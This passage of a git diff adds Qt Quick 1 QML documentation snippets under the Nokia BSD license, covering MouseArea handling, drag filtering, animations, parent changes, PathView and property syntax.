+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [import]
+import QtQuick 1.0
+//! [import]
+
+Rectangle {
+ width: childrenRect.width
+ height: childrenRect.height
+
+ Row {
+ //! [intro]
+ Rectangle {
+ width: 100; height: 100
+ color: "green"
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: { parent.color = 'red' }
+ }
+ }
+ //! [intro]
+
+ //! [intro-extended]
+ Rectangle {
+ width: 100; height: 100
+ color: "green"
+
+ MouseArea {
+ anchors.fill: parent
+ acceptedButtons: Qt.LeftButton | Qt.RightButton
+ onClicked: {
+ if (mouse.button == Qt.RightButton)
+ parent.color = 'blue';
+ else
+ parent.color = 'red';
+ }
+ }
+ }
+ //! [intro-extended]
+
+ //! [drag]
+ Rectangle {
+ id: container
+ width: 600; height: 200
+
+ Rectangle {
+ id: rect
+ width: 50; height: 50
+ color: "red"
+ opacity: (600.0 - rect.x) / 600
+
+ MouseArea {
+ anchors.fill: parent
+ drag.target: rect
+ drag.axis: Drag.XAxis
+ drag.minimumX: 0
+ drag.maximumX: container.width - rect.width
+ }
+ }
+ }
+ //! [drag]
+
+ //! [mousebuttons]
+ Text {
+ text: mouseArea.pressedButtons & Qt.RightButton ? "right" : ""
+ horizontalAlignment: Text.AlignHCenter
+ verticalAlignment: Text.AlignVCenter
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ acceptedButtons: Qt.LeftButton | Qt.RightButton
+ }
+ }
+ //! [mousebuttons]
+
+ }
+}
diff --git a/doc/src/snippets/qtquick1/mousearea/mouseareadragfilter.qml b/doc/src/snippets/qtquick1/mousearea/mouseareadragfilter.qml
new file mode 100644
index 0000000000..9de57e30d2
--- /dev/null
+++ b/doc/src/snippets/qtquick1/mousearea/mouseareadragfilter.qml
@@ -0,0 +1,72 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [dragfilter]
+import QtQuick 1.0
+
+Rectangle {
+ width: 480
+ height: 320
+ Rectangle {
+ x: 30; y: 30
+ width: 300; height: 240
+ color: "lightsteelblue"
+
+ MouseArea {
+ anchors.fill: parent
+ drag.target: parent;
+ drag.axis: "XAxis"
+ drag.minimumX: 30
+ drag.maximumX: 150
+ drag.filterChildren: true
+
+ Rectangle {
+ color: "yellow"
+ x: 50; y : 50
+ width: 100; height: 100
+ MouseArea {
+ anchors.fill: parent
+ onClicked: console.log("Clicked")
+ }
+ }
+ }
+ }
+}
+//! [dragfilter]
diff --git a/doc/src/snippets/qtquick1/numberanimation.qml b/doc/src/snippets/qtquick1/numberanimation.qml
new file mode 100644
index 0000000000..e395e1ef0c
--- /dev/null
+++ b/doc/src/snippets/qtquick1/numberanimation.qml
@@ -0,0 +1,51 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ width: 100; height: 100
+ color: "red"
+
+ NumberAnimation on x { to: 50; duration: 1000 }
+}
+//![0]
+
diff --git a/doc/src/snippets/qtquick1/parallelanimation.qml b/doc/src/snippets/qtquick1/parallelanimation.qml
new file mode 100644
index 0000000000..32487ef59a
--- /dev/null
+++ b/doc/src/snippets/qtquick1/parallelanimation.qml
@@ -0,0 +1,56 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ id: rect
+ width: 100; height: 100
+ color: "red"
+
+ ParallelAnimation {
+ running: true
+ NumberAnimation { target: rect; property: "x"; to: 50; duration: 1000 }
+ NumberAnimation { target: rect; property: "y"; to: 50; duration: 1000 }
+ }
+}
+//![0]
+
diff --git a/doc/src/snippets/qtquick1/parentanimation.qml b/doc/src/snippets/qtquick1/parentanimation.qml
new file mode 100644
index 0000000000..449c0aac01
--- /dev/null
+++ b/doc/src/snippets/qtquick1/parentanimation.qml
@@ -0,0 +1,73 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Item {
+ width: 200; height: 100
+
+ Rectangle {
+ id: redRect
+ width: 100; height: 100
+ color: "red"
+ }
+
+ Rectangle {
+ id: blueRect
+ x: redRect.width
+ width: 50; height: 50
+ color: "blue"
+
+ states: State {
+ name: "reparented"
+ ParentChange { target: blueRect; parent: redRect; x: 10; y: 10 }
+ }
+
+ transitions: Transition {
+ ParentAnimation {
+ NumberAnimation { properties: "x,y"; duration: 1000 }
+ }
+ }
+
+ MouseArea { anchors.fill: parent; onClicked: blueRect.state = "reparented" }
+ }
+}
+//![0]
+
diff --git a/doc/src/snippets/qtquick1/parentchange.qml b/doc/src/snippets/qtquick1/parentchange.qml
new file mode 100644
index 0000000000..7fbb213b3e
--- /dev/null
+++ b/doc/src/snippets/qtquick1/parentchange.qml
@@ -0,0 +1,67 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Item {
+ width: 200; height: 100
+
+ Rectangle {
+ id: redRect
+ width: 100; height: 100
+ color: "red"
+ }
+
+ Rectangle {
+ id: blueRect
+ x: redRect.width
+ width: 50; height: 50
+ color: "blue"
+
+ states: State {
+ name: "reparented"
+ ParentChange { target: blueRect; parent: redRect; x: 10; y: 10 }
+ }
+
+ MouseArea { anchors.fill: parent; onClicked: blueRect.state = "reparented" }
+ }
+}
+//![0]
+
diff --git a/doc/src/snippets/qtquick1/pathview/ContactModel.qml b/doc/src/snippets/qtquick1/pathview/ContactModel.qml
new file mode 100644
index 0000000000..22430b75df
--- /dev/null
+++ b/doc/src/snippets/qtquick1/pathview/ContactModel.qml
@@ -0,0 +1,58 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+ListModel {
+ ListElement {
+ name: "Bill Jones"
+ icon: "pics/qtlogo.png"
+ }
+ ListElement {
+ name: "Jane Doe"
+ icon: "pics/qtlogo.png"
+ }
+ ListElement {
+ name: "John Smith"
+ icon: "pics/qtlogo.png"
+ }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/pathview/pathattributes.qml b/doc/src/snippets/qtquick1/pathview/pathattributes.qml
new file mode 100644
index 0000000000..28395f3199
--- /dev/null
+++ b/doc/src/snippets/qtquick1/pathview/pathattributes.qml
@@ -0,0 +1,79 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [0]
+import QtQuick 1.0
+
+Rectangle {
+ width: 240; height: 200
+
+//! [1]
+ Component {
+ id: delegate
+ Item {
+ width: 80; height: 80
+ scale: PathView.iconScale
+ opacity: PathView.iconOpacity
+ Column {
+ Image { anchors.horizontalCenter: nameText.horizontalCenter; width: 64; height: 64; source: icon }
+ Text { id: nameText; text: name; font.pointSize: 16 }
+ }
+ }
+ }
+//! [1]
+
+//! [2]
+ PathView {
+ anchors.fill: parent
+ model: ContactModel {}
+ delegate: delegate
+ path: Path {
+ startX: 120; startY: 100
+ PathAttribute { name: "iconScale"; value: 1.0 }
+ PathAttribute { name: "iconOpacity"; value: 1.0 }
+ PathQuad { x: 120; y: 25; controlX: 260; controlY: 75 }
+ PathAttribute { name: "iconScale"; value: 0.3 }
+ PathAttribute { name: "iconOpacity"; value: 0.5 }
+ PathQuad { x: 120; y: 100; controlX: -20; controlY: 75 }
+ }
+ }
+//! [2]
+}
+//! [0]
diff --git a/doc/src/snippets/qtquick1/pathview/pathview.qml b/doc/src/snippets/qtquick1/pathview/pathview.qml
new file mode 100644
index 0000000000..84fad9c30d
--- /dev/null
+++ b/doc/src/snippets/qtquick1/pathview/pathview.qml
@@ -0,0 +1,80 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [0]
+import QtQuick 1.0
+
+Rectangle {
+ width: 240; height: 200
+
+//! [1]
+ Component {
+ id: delegate
+ Column {
+ id: wrapper
+ Image {
+ anchors.horizontalCenter: nameText.horizontalCenter
+ width: 64; height: 64
+ source: icon
+ }
+ Text {
+ id: nameText
+ text: name
+ font.pointSize: 16
+ color: wrapper.PathView.isCurrentItem ? "red" : "black"
+ }
+ }
+ }
+//! [1]
+
+//! [2]
+ PathView {
+ anchors.fill: parent
+ model: ContactModel {}
+ delegate: delegate
+ path: Path {
+ startX: 120; startY: 100
+ PathQuad { x: 120; y: 25; controlX: 260; controlY: 75 }
+ PathQuad { x: 120; y: 100; controlX: -20; controlY: 75 }
+ }
+ }
+//! [2]
+}
+//! [0]
diff --git a/doc/src/snippets/qtquick1/properties.qml b/doc/src/snippets/qtquick1/properties.qml
new file mode 100644
index 0000000000..330d1cfbdf
--- /dev/null
+++ b/doc/src/snippets/qtquick1/properties.qml
@@ -0,0 +1,315 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+//! [parent begin]
+Rectangle {
+//! [parent begin]
+
+ //! [inherited properties]
+ width: 320; height: 240
+ color: "lightblue"
+ focus: true
+ //! [inherited properties]
+
+ //! [custom properties]
+ property int counter
+ property real area: 100.45
+ //! [custom properties]
+
+ //! [property types]
+ property int number
+ property real volume: 100.45
+ property date today: "2011-01-01"
+ property color background: "yellow"
+ //! [property types]
+
+
+//! [grouped properties]
+Text {
+ //dot notation
+ font.pixelSize: 12
+ font.bold: true
+}
+
+Text {
+ //group notation
+ font {pixelSize: 12; bold: true}
+}
+//! [grouped properties]
+
+
+//! [property binding]
+Rectangle {
+ width: parent.width
+}
+//! [property binding]
+
+//! [property assignment]
+Rectangle {
+ Component.onCompleted: {
+ width = 150
+ }
+}
+//! [property assignment]
+
+Rectangle {
+ //placeholder slider
+ id: slider
+ property real value
+}
+Rectangle {
+ //placeholder system
+ id: system
+ property real brightness
+}
+//! [binding element]
+Binding {
+ target: system
+ property: "brightness"
+ value: slider.value
+}
+//! [binding element]
+
+Rectangle {
+ //placeholder warning
+ id: warning
+ color: "red"
+}
+//! [PropertyChanges element]
+Rectangle {
+ id: rectangle
+
+ states: State {
+ name: "WARNING"
+ PropertyChanges {
+ target: rectangle
+ color: warning.color
+ }
+ }
+}
+//! [PropertyChanges element]
+
+//! [list property]
+Item {
+ id: multistate
+ states: [
+ State {name: "FETCH"},
+ State {name: "DECODE"},
+ State {name: "EXECUTE"}
+ ]
+}
+//! [list property]
+//! [single property]
+Item {
+ id: monostate
+ states: State {name: "RUNNING"}
+}
+//! [single property]
+
+Item {
+ id: printstate
+//! [print list property]
+ Component.onCompleted: console.log (multistate.states[0].name)
+//! [print list property]
+}
+
+//! [JavaScript sample]
+function calculateArea(width, height) {
+ return (width * height) * 0.5
+}
+
+Rectangle {
+ width: 150; height: 75
+ property real area: calculateArea(width, height)
+ property real parentArea: calculateArea(parent.width,parent.height)
+ color: { if (area > parentArea) "blue"; else "red" }
+}
+//! [JavaScript sample]
+
+//! [id property]
+Rectangle {
+ id: container
+ width: 100; height: 100
+ Rectangle {
+ width: parent.width; height: parent.height
+ }
+}
+Rectangle {
+ width: container.width; height: container.height
+}
+//! [id property]
+
+//! [default property]
+Item {
+ Text {}
+ Rectangle {}
+ Timer {}
+}
+
+Item {
+ //without default property
+ children: [
+ Text {},
+ Rectangle {}
+ ]
+ resources: [
+ Timer {}
+ ]
+}
+//! [default property]
+
+//! [state default]
+State {
+ changes: [
+ PropertyChanges {},
+ PropertyChanges {}
+ ]
+}
+
+State {
+ PropertyChanges {}
+ PropertyChanges {}
+}
+//! [state default]
+
+//! [object binding]
+Rectangle {
+
+ id: parentrectangle
+ gradient:
+ Gradient { //not a child of parentrectangle
+
+ //generates a TypeError
+ //Component.onCompleted: console.log(parent.width)
+ }
+
+ //child of parentrectangle
